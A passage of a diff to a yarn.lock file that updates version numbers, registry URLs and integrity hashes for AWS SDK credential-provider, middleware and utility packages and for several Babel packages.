-    "@aws-sdk/credential-provider-web-identity" "3.848.0"
-    "@aws-sdk/types" "3.840.0"
-    "@smithy/credential-provider-imds" "^4.0.6"
-    "@smithy/property-provider" "^4.0.4"
-    "@smithy/shared-ini-file-loader" "^4.0.4"
-    "@smithy/types" "^4.3.1"
+    "@aws-sdk/credential-provider-env" "3.876.0"
+    "@aws-sdk/credential-provider-http" "3.876.0"
+    "@aws-sdk/credential-provider-ini" "3.876.0"
+    "@aws-sdk/credential-provider-process" "3.876.0"
+    "@aws-sdk/credential-provider-sso" "3.876.0"
+    "@aws-sdk/credential-provider-web-identity" "3.876.0"
+    "@aws-sdk/types" "3.862.0"
+    "@smithy/credential-provider-imds" "^4.0.7"
+    "@smithy/property-provider" "^4.0.5"
+    "@smithy/shared-ini-file-loader" "^4.0.5"
+    "@smithy/types" "^4.3.2"
     tslib "^2.6.2"
 
-"@aws-sdk/credential-provider-process@3.846.0":
-  version "3.846.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-process/-/credential-provider-process-3.846.0.tgz#19d22592594ca554a83148313651d5167c181fc3"
-  integrity sha512-mEpwDYarJSH+CIXnnHN0QOe0MXI+HuPStD6gsv3z/7Q6ESl8KRWon3weFZCDnqpiJMUVavlDR0PPlAFg2MQoPg==
+"@aws-sdk/credential-provider-process@3.876.0":
+  version "3.876.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-process/-/credential-provider-process-3.876.0.tgz#4f9760041e0c9f33d816ea7c5d004ef26d80a8f8"
+  integrity sha512-SMX4OlHvspu3gF4hxe7WAnZFhxpiCye+WlBSVoWfW/i9XNhtrZS1JMr29MK34GlCTk9qO7FlRwds/Z5k7xPpHg==
   dependencies:
-    "@aws-sdk/core" "3.846.0"
-    "@aws-sdk/types" "3.840.0"
-    "@smithy/property-provider" "^4.0.4"
-    "@smithy/shared-ini-file-loader" "^4.0.4"
-    "@smithy/types" "^4.3.1"
+    "@aws-sdk/core" "3.876.0"
+    "@aws-sdk/types" "3.862.0"
+    "@smithy/property-provider" "^4.0.5"
+    "@smithy/shared-ini-file-loader" "^4.0.5"
+    "@smithy/types" "^4.3.2"
     tslib "^2.6.2"
 
-"@aws-sdk/credential-provider-sso@3.848.0":
-  version "3.848.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-sso/-/credential-provider-sso-3.848.0.tgz#5921e154cde77f261e00da63431294ddde91d6f9"
-  integrity sha512-pozlDXOwJZL0e7w+dqXLgzVDB7oCx4WvtY0sk6l4i07uFliWF/exupb6pIehFWvTUcOvn5aFTTqcQaEzAD5Wsg==
+"@aws-sdk/credential-provider-sso@3.876.0":
+  version "3.876.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-sso/-/credential-provider-sso-3.876.0.tgz#d4867ebf546c36ca3df7366bbf70ef99b958da9a"
+  integrity sha512-iP5dz9XqwePbgnh7Bdrq5e1319JpCRKLyomUfHH1XVeXkIHmwIJdmTj1Upeo1J8L/5cLHmhXAN6CTN11bLo8SA==
   dependencies:
-    "@aws-sdk/client-sso" "3.848.0"
-    "@aws-sdk/core" "3.846.0"
-    "@aws-sdk/token-providers" "3.848.0"
-    "@aws-sdk/types" "3.840.0"
-    "@smithy/property-provider" "^4.0.4"
-    "@smithy/shared-ini-file-loader" "^4.0.4"
-    "@smithy/types" "^4.3.1"
+    "@aws-sdk/client-sso" "3.876.0"
+    "@aws-sdk/core" "3.876.0"
+    "@aws-sdk/token-providers" "3.876.0"
+    "@aws-sdk/types" "3.862.0"
+    "@smithy/property-provider" "^4.0.5"
+    "@smithy/shared-ini-file-loader" "^4.0.5"
+    "@smithy/types" "^4.3.2"
     tslib "^2.6.2"
 
-"@aws-sdk/credential-provider-web-identity@3.848.0":
-  version "3.848.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-web-identity/-/credential-provider-web-identity-3.848.0.tgz#86eaa04daf17ce41b9aab06a3c19a326fcbfaddf"
-  integrity sha512-D1fRpwPxtVDhcSc/D71exa2gYweV+ocp4D3brF0PgFd//JR3XahZ9W24rVnTQwYEcK9auiBZB89Ltv+WbWN8qw==
+"@aws-sdk/credential-provider-web-identity@3.876.0":
+  version "3.876.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-provider-web-identity/-/credential-provider-web-identity-3.876.0.tgz#ece58ac87f7b2eb13176f5f89aafe916562289ef"
+  integrity sha512-q/XSCP1uae5aB9veM8zcm6Gqu6A4ckX9ZbhHgCzURXVJDwp+nINW1hM9vppMjGw3ND9Ibx/adR+KfTI0TDMzqw==
   dependencies:
-    "@aws-sdk/core" "3.846.0"
-    "@aws-sdk/nested-clients" "3.848.0"
-    "@aws-sdk/types" "3.840.0"
-    "@smithy/property-provider" "^4.0.4"
-    "@smithy/types" "^4.3.1"
+    "@aws-sdk/core" "3.876.0"
+    "@aws-sdk/nested-clients" "3.876.0"
+    "@aws-sdk/types" "3.862.0"
+    "@smithy/property-provider" "^4.0.5"
+    "@smithy/types" "^4.3.2"
     tslib "^2.6.2"
 
 "@aws-sdk/credential-providers@^3.186.0":
-  version "3.848.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-providers/-/credential-providers-3.848.0.tgz#78ab8cb8114136130f2ccb357761c4936117a38a"
-  integrity sha512-lRDuU05YC+r/1JmRULngJQli7scP5hmq0/7D+xw1s8eRM0H2auaH7LQFlq/SLxQZLMkVNPCrmsug3b3KcLj1NA==
+  version "3.876.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/credential-providers/-/credential-providers-3.876.0.tgz#2812958919070f28aa036b1d87df9ea99973e3fd"
+  integrity sha512-ruCLlBpz+ggJQtdrnnfgjtFUJaHKN2WtNp1tyuV/qDmLk5vMgk2BSyOWLyTsbJC+L+I76w7NADY6VIRe9MiF0Q==
   dependencies:
-    "@aws-sdk/client-cognito-identity" "3.848.0"
-    "@aws-sdk/core" "3.846.0"
-    "@aws-sdk/credential-provider-cognito-identity" "3.848.0"
-    "@aws-sdk/credential-provider-env" "3.846.0"
-    "@aws-sdk/credential-provider-http" "3.846.0"
-    "@aws-sdk/credential-provider-ini" "3.848.0"
-    "@aws-sdk/credential-provider-node" "3.848.0"
-    "@aws-sdk/credential-provider-process" "3.846.0"
-    "@aws-sdk/credential-provider-sso" "3.848.0"
-    "@aws-sdk/credential-provider-web-identity" "3.848.0"
-    "@aws-sdk/nested-clients" "3.848.0"
-    "@aws-sdk/types" "3.840.0"
-    "@smithy/config-resolver" "^4.1.4"
-    "@smithy/core" "^3.7.0"
-    "@smithy/credential-provider-imds" "^4.0.6"
-    "@smithy/node-config-provider" "^4.1.3"
-    "@smithy/property-provider" "^4.0.4"
-    "@smithy/types" "^4.3.1"
+    "@aws-sdk/client-cognito-identity" "3.876.0"
+    "@aws-sdk/core" "3.876.0"
+    "@aws-sdk/credential-provider-cognito-identity" "3.876.0"
+    "@aws-sdk/credential-provider-env" "3.876.0"
+    "@aws-sdk/credential-provider-http" "3.876.0"
+    "@aws-sdk/credential-provider-ini" "3.876.0"
+    "@aws-sdk/credential-provider-node" "3.876.0"
+    "@aws-sdk/credential-provider-process" "3.876.0"
+    "@aws-sdk/credential-provider-sso" "3.876.0"
+    "@aws-sdk/credential-provider-web-identity" "3.876.0"
+    "@aws-sdk/nested-clients" "3.876.0"
+    "@aws-sdk/types" "3.862.0"
+    "@smithy/config-resolver" "^4.1.5"
+    "@smithy/core" "^3.8.0"
+    "@smithy/credential-provider-imds" "^4.0.7"
+    "@smithy/node-config-provider" "^4.1.4"
+    "@smithy/property-provider" "^4.0.5"
+    "@smithy/types" "^4.3.2"
     tslib "^2.6.2"
 
-"@aws-sdk/middleware-host-header@3.840.0":
-  version "3.840.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/middleware-host-header/-/middleware-host-header-3.840.0.tgz#7c8b163fb13d588b87523b53f7d98de73262e83f"
-  integrity sha512-ub+hXJAbAje94+Ya6c6eL7sYujoE8D4Bumu1NUI8TXjUhVVn0HzVWQjpRLshdLsUp1AW7XyeJaxyajRaJQ8+Xg==
+"@aws-sdk/middleware-host-header@3.873.0":
+  version "3.873.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/middleware-host-header/-/middleware-host-header-3.873.0.tgz#81e9c2f61674b96337472bcaefd85ce3b7a24f7b"
+  integrity sha512-KZ/W1uruWtMOs7D5j3KquOxzCnV79KQW9MjJFZM/M0l6KI8J6V3718MXxFHsTjUE4fpdV6SeCNLV1lwGygsjJA==
   dependencies:
-    "@aws-sdk/types" "3.840.0"
-    "@smithy/protocol-http" "^5.1.2"
-    "@smithy/types" "^4.3.1"
+    "@aws-sdk/types" "3.862.0"
+    "@smithy/protocol-http" "^5.1.3"
+    "@smithy/types" "^4.3.2"
     tslib "^2.6.2"
 
-"@aws-sdk/middleware-logger@3.840.0":
-  version "3.840.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/middleware-logger/-/middleware-logger-3.840.0.tgz#d92ade1817ac7dc78a3567c1239bb1a3f3b1b57a"
-  integrity sha512-lSV8FvjpdllpGaRspywss4CtXV8M7NNNH+2/j86vMH+YCOZ6fu2T/TyFd/tHwZ92vDfHctWkRbQxg0bagqwovA==
+"@aws-sdk/middleware-logger@3.876.0":
+  version "3.876.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/middleware-logger/-/middleware-logger-3.876.0.tgz#16ee45f7bcd887badc8f12d80eef9ba18a0ac97c"
+  integrity sha512-cpWJhOuMSyz9oV25Z/CMHCBTgafDCbv7fHR80nlRrPdPZ8ETNsahwRgltXP1QJJ8r3X/c1kwpOR7tc+RabVzNA==
   dependencies:
-    "@aws-sdk/types" "3.840.0"
-    "@smithy/types" "^4.3.1"
+    "@aws-sdk/types" "3.862.0"
+    "@smithy/types" "^4.3.2"
     tslib "^2.6.2"
 
-"@aws-sdk/middleware-recursion-detection@3.840.0":
-  version "3.840.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/middleware-recursion-detection/-/middleware-recursion-detection-3.840.0.tgz#8ea2c00af258db0b64ea394e044cedb6101b5ffd"
-  integrity sha512-Gu7lGDyfddyhIkj1Z1JtrY5NHb5+x/CRiB87GjaSrKxkDaydtX2CU977JIABtt69l9wLbcGDIQ+W0uJ5xPof7g==
+"@aws-sdk/middleware-recursion-detection@3.873.0":
+  version "3.873.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/middleware-recursion-detection/-/middleware-recursion-detection-3.873.0.tgz#1f9086542800d355d85332acea7accf1856e408b"
+  integrity sha512-OtgY8EXOzRdEWR//WfPkA/fXl0+WwE8hq0y9iw2caNyKPtca85dzrrZWnPqyBK/cpImosrpR1iKMYr41XshsCg==
   dependencies:
-    "@aws-sdk/types" "3.840.0"
-    "@smithy/protocol-http" "^5.1.2"
-    "@smithy/types" "^4.3.1"
+    "@aws-sdk/types" "3.862.0"
+    "@smithy/protocol-http" "^5.1.3"
+    "@smithy/types" "^4.3.2"
     tslib "^2.6.2"
 
-"@aws-sdk/middleware-user-agent@3.848.0":
-  version "3.848.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/middleware-user-agent/-/middleware-user-agent-3.848.0.tgz#d1bba79ba7f026ad7a6df55e47ccd0513f8fdada"
-  integrity sha512-rjMuqSWJEf169/ByxvBqfdei1iaduAnfolTshsZxwcmLIUtbYrFUmts0HrLQqsAG8feGPpDLHA272oPl+NTCCA==
+"@aws-sdk/middleware-user-agent@3.876.0":
+  version "3.876.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/middleware-user-agent/-/middleware-user-agent-3.876.0.tgz#207f62b1e9f141ede0a562fd1f1bf90b948a2089"
+  integrity sha512-FR+8INfnbNv32QDQ5szxkWX6mB/QgezfNyx8LnAh1ErISZMmEFBxXXir+ZOfuV8vsmal1a6cy9qmnMNDaNnaNQ==
   dependencies:
-    "@aws-sdk/core" "3.846.0"
-    "@aws-sdk/types" "3.840.0"
-    "@aws-sdk/util-endpoints" "3.848.0"
-    "@smithy/core" "^3.7.0"
-    "@smithy/protocol-http" "^5.1.2"
-    "@smithy/types" "^4.3.1"
+    "@aws-sdk/core" "3.876.0"
+    "@aws-sdk/types" "3.862.0"
+    "@aws-sdk/util-endpoints" "3.873.0"
+    "@smithy/core" "^3.8.0"
+    "@smithy/protocol-http" "^5.1.3"
+    "@smithy/types" "^4.3.2"
     tslib "^2.6.2"
 
-"@aws-sdk/nested-clients@3.848.0":
-  version "3.848.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/nested-clients/-/nested-clients-3.848.0.tgz#69f8f57fb5df25262b8e60a3334e13dcded0309d"
-  integrity sha512-joLsyyo9u61jnZuyYzo1z7kmS7VgWRAkzSGESVzQHfOA1H2PYeUFek6vLT4+c9xMGrX/Z6B0tkRdzfdOPiatLg==
+"@aws-sdk/nested-clients@3.876.0":
+  version "3.876.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/nested-clients/-/nested-clients-3.876.0.tgz#73919a21b0d71d9b25b3eb2294f62fc812e79f31"
+  integrity sha512-R4TZrkM2gUElTsotk8mt3y7iLG8TNi1LL1wgVdEEWSLOYTaFyglGdoNBMtEeP7lmXilaTy00AbYF6BakJvSTHg==
   dependencies:
     "@aws-crypto/sha256-browser" "5.2.0"
     "@aws-crypto/sha256-js" "5.2.0"
-    "@aws-sdk/core" "3.846.0"
-    "@aws-sdk/middleware-host-header" "3.840.0"
-    "@aws-sdk/middleware-logger" "3.840.0"
-    "@aws-sdk/middleware-recursion-detection" "3.840.0"
-    "@aws-sdk/middleware-user-agent" "3.848.0"
-    "@aws-sdk/region-config-resolver" "3.840.0"
-    "@aws-sdk/types" "3.840.0"
-    "@aws-sdk/util-endpoints" "3.848.0"
-    "@aws-sdk/util-user-agent-browser" "3.840.0"
-    "@aws-sdk/util-user-agent-node" "3.848.0"
-    "@smithy/config-resolver" "^4.1.4"
-    "@smithy/core" "^3.7.0"
-    "@smithy/fetch-http-handler" "^5.1.0"
-    "@smithy/hash-node" "^4.0.4"
-    "@smithy/invalid-dependency" "^4.0.4"
-    "@smithy/middleware-content-length" "^4.0.4"
-    "@smithy/middleware-endpoint" "^4.1.15"
-    "@smithy/middleware-retry" "^4.1.16"
-    "@smithy/middleware-serde" "^4.0.8"
-    "@smithy/middleware-stack" "^4.0.4"
-    "@smithy/node-config-provider" "^4.1.3"
-    "@smithy/node-http-handler" "^4.1.0"
-    "@smithy/protocol-http" "^5.1.2"
-    "@smithy/smithy-client" "^4.4.7"
-    "@smithy/types" "^4.3.1"
-    "@smithy/url-parser" "^4.0.4"
+    "@aws-sdk/core" "3.876.0"
+    "@aws-sdk/middleware-host-header" "3.873.0"
+    "@aws-sdk/middleware-logger" "3.876.0"
+    "@aws-sdk/middleware-recursion-detection" "3.873.0"
+    "@aws-sdk/middleware-user-agent" "3.876.0"
+    "@aws-sdk/region-config-resolver" "3.873.0"
+    "@aws-sdk/types" "3.862.0"
+    "@aws-sdk/util-endpoints" "3.873.0"
+    "@aws-sdk/util-user-agent-browser" "3.873.0"
+    "@aws-sdk/util-user-agent-node" "3.876.0"
+    "@smithy/config-resolver" "^4.1.5"
+    "@smithy/core" "^3.8.0"
+    "@smithy/fetch-http-handler" "^5.1.1"
+    "@smithy/hash-node" "^4.0.5"
+    "@smithy/invalid-dependency" "^4.0.5"
+    "@smithy/middleware-content-length" "^4.0.5"
+    "@smithy/middleware-endpoint" "^4.1.18"
+    "@smithy/middleware-retry" "^4.1.19"
+    "@smithy/middleware-serde" "^4.0.9"
+    "@smithy/middleware-stack" "^4.0.5"
+    "@smithy/node-config-provider" "^4.1.4"
+    "@smithy/node-http-handler" "^4.1.1"
+    "@smithy/protocol-http" "^5.1.3"
+    "@smithy/smithy-client" "^4.4.10"
+    "@smithy/types" "^4.3.2"
+    "@smithy/url-parser" "^4.0.5"
     "@smithy/util-base64" "^4.0.0"
     "@smithy/util-body-length-browser" "^4.0.0"
     "@smithy/util-body-length-node" "^4.0.0"
-    "@smithy/util-defaults-mode-browser" "^4.0.23"
-    "@smithy/util-defaults-mode-node" "^4.0.23"
-    "@smithy/util-endpoints" "^3.0.6"
-    "@smithy/util-middleware" "^4.0.4"
-    "@smithy/util-retry" "^4.0.6"
+    "@smithy/util-defaults-mode-browser" "^4.0.26"
+    "@smithy/util-defaults-mode-node" "^4.0.26"
+    "@smithy/util-endpoints" "^3.0.7"
+    "@smithy/util-middleware" "^4.0.5"
+    "@smithy/util-retry" "^4.0.7"
     "@smithy/util-utf8" "^4.0.0"
     tslib "^2.6.2"
 
-"@aws-sdk/region-config-resolver@3.840.0":
-  version "3.840.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/region-config-resolver/-/region-config-resolver-3.840.0.tgz#240690ead3131c4c47186b4929776439fe2f6729"
-  integrity sha512-Qjnxd/yDv9KpIMWr90ZDPtRj0v75AqGC92Lm9+oHXZ8p1MjG5JE2CW0HL8JRgK9iKzgKBL7pPQRXI8FkvEVfrA==
+"@aws-sdk/region-config-resolver@3.873.0":
+  version "3.873.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/region-config-resolver/-/region-config-resolver-3.873.0.tgz#9a5ddf8aa5a068d1c728dda3ef7e5b31561f7419"
+  integrity sha512-q9sPoef+BBG6PJnc4x60vK/bfVwvRWsPgcoQyIra057S/QGjq5VkjvNk6H8xedf6vnKlXNBwq9BaANBXnldUJg==
   dependencies:
-    "@aws-sdk/types" "3.840.0"
-    "@smithy/node-config-provider" "^4.1.3"
-    "@smithy/types" "^4.3.1"
+    "@aws-sdk/types" "3.862.0"
+    "@smithy/node-config-provider" "^4.1.4"
+    "@smithy/types" "^4.3.2"
     "@smithy/util-config-provider" "^4.0.0"
-    "@smithy/util-middleware" "^4.0.4"
+    "@smithy/util-middleware" "^4.0.5"
     tslib "^2.6.2"
 
-"@aws-sdk/token-providers@3.848.0":
-  version "3.848.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/token-providers/-/token-providers-3.848.0.tgz#a30431066b2fc2927169e3a958bb610cfb936406"
-  integrity sha512-oNPyM4+Di2Umu0JJRFSxDcKQ35+Chl/rAwD47/bS0cDPI8yrao83mLXLeDqpRPHyQW4sXlP763FZcuAibC0+mg==
+"@aws-sdk/token-providers@3.876.0":
+  version "3.876.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/token-providers/-/token-providers-3.876.0.tgz#952d62cfe53c9964bb2a6db687698279fe22fd57"
+  integrity sha512-iU08kaQbhXnY0CC2TBcr7y/2PqPwZP2CTWX/Rbq0NvhOyteikfh7ASC+bRfLUp0XMSHKvSb+w2dh8a0lvx4oHg==
   dependencies:
-    "@aws-sdk/core" "3.846.0"
-    "@aws-sdk/nested-clients" "3.848.0"
-    "@aws-sdk/types" "3.840.0"
-    "@smithy/property-provider" "^4.0.4"
-    "@smithy/shared-ini-file-loader" "^4.0.4"
-    "@smithy/types" "^4.3.1"
+    "@aws-sdk/core" "3.876.0"
+    "@aws-sdk/nested-clients" "3.876.0"
+    "@aws-sdk/types" "3.862.0"
+    "@smithy/property-provider" "^4.0.5"
+    "@smithy/shared-ini-file-loader" "^4.0.5"
+    "@smithy/types" "^4.3.2"
     tslib "^2.6.2"
 
-"@aws-sdk/types@3.840.0", "@aws-sdk/types@^3.222.0":
-  version "3.840.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/types/-/types-3.840.0.tgz#aadc6843d5c1f24b3d1d228059e702a355bf07c3"
-  integrity sha512-xliuHaUFZxEx1NSXeLLZ9Dyu6+EJVQKEoD+yM+zqUo3YDZ7medKJWY6fIOKiPX/N7XbLdBYwajb15Q7IL8KkeA==
+"@aws-sdk/types@3.862.0", "@aws-sdk/types@^3.222.0":
+  version "3.862.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/types/-/types-3.862.0.tgz#2f5622e1aa3a5281d4f419f5d2c90f87dd5ff0cf"
+  integrity sha512-Bei+RL0cDxxV+lW2UezLbCYYNeJm6Nzee0TpW0FfyTRBhH9C1XQh4+x+IClriXvgBnRquTMMYsmJfvx8iyLKrg==
   dependencies:
-    "@smithy/types" "^4.3.1"
+    "@smithy/types" "^4.3.2"
     tslib "^2.6.2"
 
-"@aws-sdk/util-endpoints@3.848.0":
-  version "3.848.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/util-endpoints/-/util-endpoints-3.848.0.tgz#dea15ac0949fcbc518426fb4a86d1e9bd53433db"
-  integrity sha512-fY/NuFFCq/78liHvRyFKr+aqq1aA/uuVSANjzr5Ym8c+9Z3HRPE9OrExAHoMrZ6zC8tHerQwlsXYYH5XZ7H+ww==
+"@aws-sdk/util-endpoints@3.873.0":
+  version "3.873.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/util-endpoints/-/util-endpoints-3.873.0.tgz#11afbcf503bdbcf10c0ed08c81696303b8bb5fb0"
+  integrity sha512-YByHrhjxYdjKRf/RQygRK1uh0As1FIi9+jXTcIEX/rBgN8mUByczr2u4QXBzw7ZdbdcOBMOkPnLRjNOWW1MkFg==
   dependencies:
-    "@aws-sdk/types" "3.840.0"
-    "@smithy/types" "^4.3.1"
-    "@smithy/url-parser" "^4.0.4"
-    "@smithy/util-endpoints" "^3.0.6"
+    "@aws-sdk/types" "3.862.0"
+    "@smithy/types" "^4.3.2"
+    "@smithy/url-parser" "^4.0.5"
+    "@smithy/util-endpoints" "^3.0.7"
     tslib "^2.6.2"
 
 "@aws-sdk/util-locate-window@^3.0.0":
-  version "3.804.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/util-locate-window/-/util-locate-window-3.804.0.tgz#a2ee8dc5d9c98276986e8e1ba03c0c84d9afb0f5"
-  integrity sha512-zVoRfpmBVPodYlnMjgVjfGoEZagyRF5IPn3Uo6ZvOZp24chnW/FRstH7ESDHDDRga4z3V+ElUQHKpFDXWyBW5A==
+  version "3.873.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/util-locate-window/-/util-locate-window-3.873.0.tgz#cc10edef3b7aecf365943ec657116d6eb470d9cb"
+  integrity sha512-xcVhZF6svjM5Rj89T1WzkjQmrTF6dpR2UvIHPMTnSZoNe6CixejPZ6f0JJ2kAhO8H+dUHwNBlsUgOTIKiK/Syg==
   dependencies:
     tslib "^2.6.2"
 
-"@aws-sdk/util-user-agent-browser@3.840.0":
-  version "3.840.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/util-user-agent-browser/-/util-user-agent-browser-3.840.0.tgz#6c2f55494352a86048c52852b0c357bb21905984"
-  integrity sha512-JdyZM3EhhL4PqwFpttZu1afDpPJCCc3eyZOLi+srpX11LsGj6sThf47TYQN75HT1CarZ7cCdQHGzP2uy3/xHfQ==
+"@aws-sdk/util-user-agent-browser@3.873.0":
+  version "3.873.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/util-user-agent-browser/-/util-user-agent-browser-3.873.0.tgz#0fcc3c1877ae74aa692cc0b4ad874bc9a6ee1ad6"
+  integrity sha512-AcRdbK6o19yehEcywI43blIBhOCSo6UgyWcuOJX5CFF8k39xm1ILCjQlRRjchLAxWrm0lU0Q7XV90RiMMFMZtA==
   dependencies:
-    "@aws-sdk/types" "3.840.0"
-    "@smithy/types" "^4.3.1"
+    "@aws-sdk/types" "3.862.0"
+    "@smithy/types" "^4.3.2"
     bowser "^2.11.0"
     tslib "^2.6.2"
 
-"@aws-sdk/util-user-agent-node@3.848.0":
-  version "3.848.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/util-user-agent-node/-/util-user-agent-node-3.848.0.tgz#992acf856aa8edd9d26b906c7c92fbdcd72f8bb1"
-  integrity sha512-Zz1ft9NiLqbzNj/M0jVNxaoxI2F4tGXN0ZbZIj+KJ+PbJo+w5+Jo6d0UDAtbj3AEd79pjcCaP4OA9NTVzItUdw==
+"@aws-sdk/util-user-agent-node@3.876.0":
+  version "3.876.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/util-user-agent-node/-/util-user-agent-node-3.876.0.tgz#0300f97d6a67bb451c9bc7d59fc35976ad311189"
+  integrity sha512-/ZIaeUt60JBdI0mNc7sZ8v3Tuzp8Pbe4gIAYnppGyF4KV8QA+Yu8tp2bGHfkKn150t1uvQ6P/4CwFfoGF34dzg==
   dependencies:
-    "@aws-sdk/middleware-user-agent" "3.848.0"
-    "@aws-sdk/types" "3.840.0"
-    "@smithy/node-config-provider" "^4.1.3"
-    "@smithy/types" "^4.3.1"
+    "@aws-sdk/middleware-user-agent" "3.876.0"
+    "@aws-sdk/types" "3.862.0"
+    "@smithy/node-config-provider" "^4.1.4"
+    "@smithy/types" "^4.3.2"
     tslib "^2.6.2"
 
-"@aws-sdk/xml-builder@3.821.0":
-  version "3.821.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/xml-builder/-/xml-builder-3.821.0.tgz#ff89bf1276fca41276ed508b9c8ae21978d91177"
-  integrity sha512-DIIotRnefVL6DiaHtO6/21DhJ4JZnnIwdNbpwiAhdt/AVbttcE4yw925gsjur0OGv5BTYXQXU3YnANBYnZjuQA==
+"@aws-sdk/xml-builder@3.873.0":
+  version "3.873.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/xml-builder/-/xml-builder-3.873.0.tgz#b5a3acfdeecfc1b7fee8a7773cb2a45590eb5701"
+  integrity sha512-kLO7k7cGJ6KaHiExSJWojZurF7SnGMDHXRuQunFnEoD0n1yB6Lqy/S/zHiQ7oJnBhPr9q0TW9qFkrsZb1Uc54w==
   dependencies:
-    "@smithy/types" "^4.3.1"
+    "@smithy/types" "^4.3.2"
     tslib "^2.6.2"
 
 "@babel/cli@^7.16.0":
-  version "7.28.0"
-  resolved "https://registry.yarnpkg.com/@babel/cli/-/cli-7.28.0.tgz#26959456cbedff569a2c3ac909e8a268ca6cb7e2"
-  integrity sha512-CYrZG7FagtE8ReKDBfItxnrEBf2khq2eTMnPuqO8UVN0wzhp1eMX1wfda8b1a32l2aqYLwRRIOGNovm8FVzmMw==
+  version "7.28.3"
+  resolved "https://registry.yarnpkg.com/@babel/cli/-/cli-7.28.3.tgz#f33693753bc103ab0084a5776ccf8ab8a140038b"
+  integrity sha512-n1RU5vuCX0CsaqaXm9I0KUCNKNQMy5epmzl/xdSSm70bSqhg9GWhgeosypyQLc0bK24+Xpk1WGzZlI9pJtkZdg==
   dependencies:
     "@jridgewell/trace-mapping" "^0.3.28"
     commander "^6.2.0"
@@ -493,33 +493,33 @@
   integrity sha512-60X7qkglvrap8mn1lh2ebxXdZYtUcpd7gsmy9kLaBJ4i/WdY8PqTSdxyA8qraikqKQK5C1KRBKXqznrVapyNaw==
 
 "@babel/core@^7.16.5":
-  version "7.28.0"
-  resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.28.0.tgz#55dad808d5bf3445a108eefc88ea3fdf034749a4"
-  integrity sha512-UlLAnTPrFdNGoFtbSXwcGFQBtQZJCNjaN6hQNP3UPvuNXT1i82N26KL3dZeIpNalWywr9IuQuncaAfUaS1g6sQ==
+  version "7.28.3"
+  resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.28.3.tgz#aceddde69c5d1def69b839d09efa3e3ff59c97cb"
+  integrity sha512-yDBHV9kQNcr2/sUr9jghVyz9C3Y5G2zUM2H2lo+9mKv4sFgbA8s8Z9t8D1jiTkGoO/NoIfKMyKWr4s6CN23ZwQ==
   dependencies:
     "@ampproject/remapping" "^2.2.0"
     "@babel/code-frame" "^7.27.1"
-    "@babel/generator" "^7.28.0"
+    "@babel/generator" "^7.28.3"
     "@babel/helper-compilation-targets" "^7.27.2"
-    "@babel/helper-module-transforms" "^7.27.3"
-    "@babel/helpers" "^7.27.6"
-    "@babel/parser" "^7.28.0"
+    "@babel/helper-module-transforms" "^7.28.3"
+    "@babel/helpers" "^7.28.3"
+    "@babel/parser" "^7.28.3"
     "@babel/template" "^7.27.2"
-    "@babel/traverse" "^7.28.0"
-    "@babel/types" "^7.28.0"
+    "@babel/traverse" "^7.28.3"
+    "@babel/types" "^7.28.2"
     convert-source-map "^2.0.0"
     debug "^4.1.0"
     gensync "^1.0.0-beta.2"
     json5 "^2.2.3"
     semver "^6.3.1"
 
-"@babel/generator@^7.28.0", "@babel/generator@^7.4.0":
-  version "7.28.0"
-  resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.28.0.tgz#9cc2f7bd6eb054d77dc66c2664148a0c5118acd2"
-  integrity sha512-lJjzvrbEeWrhB4P3QBsH7tey117PjLZnDbLiQEKjQ/fNJTjuq4HSqgFA+UNSwZT8D7dxxbnuSBMsa1lrWzKlQg==
+"@babel/generator@^7.28.3", "@babel/generator@^7.4.0":
+  version "7.28.3"
+  resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.28.3.tgz#9626c1741c650cbac39121694a0f2d7451b8ef3e"
+  integrity sha512-3lSpxGgvnmZznmBkCRnVREPUFJv2wrv9iAoFDvADJc0ypmdOxdUtcLeBgBJ6zE0PMeTKnxeQzyk0xTBq4Ep7zw==
   dependencies:
-    "@babel/parser" "^7.28.0"
-    "@babel/types" "^7.28.0"
+    "@babel/parser" "^7.28.3"
+    "@babel/types" "^7.28.2"
     "@jridgewell/gen-mapping" "^0.3.12"
     "@jridgewell/trace-mapping" "^0.3.28"
     jsesc "^3.0.2"
@@ -555,14 +555,14 @@
     "@babel/traverse" "^7.27.1"
     "@babel/types" "^7.27.1"
 
-"@babel/helper-module-transforms@^7.27.3":
-  version "7.27.3"
-  resolved "https://registry.yarnpkg.com/@babel/helper-module-transforms/-/helper-module-transforms-7.27.3.tgz#db0bbcfba5802f9ef7870705a7ef8788508ede02"
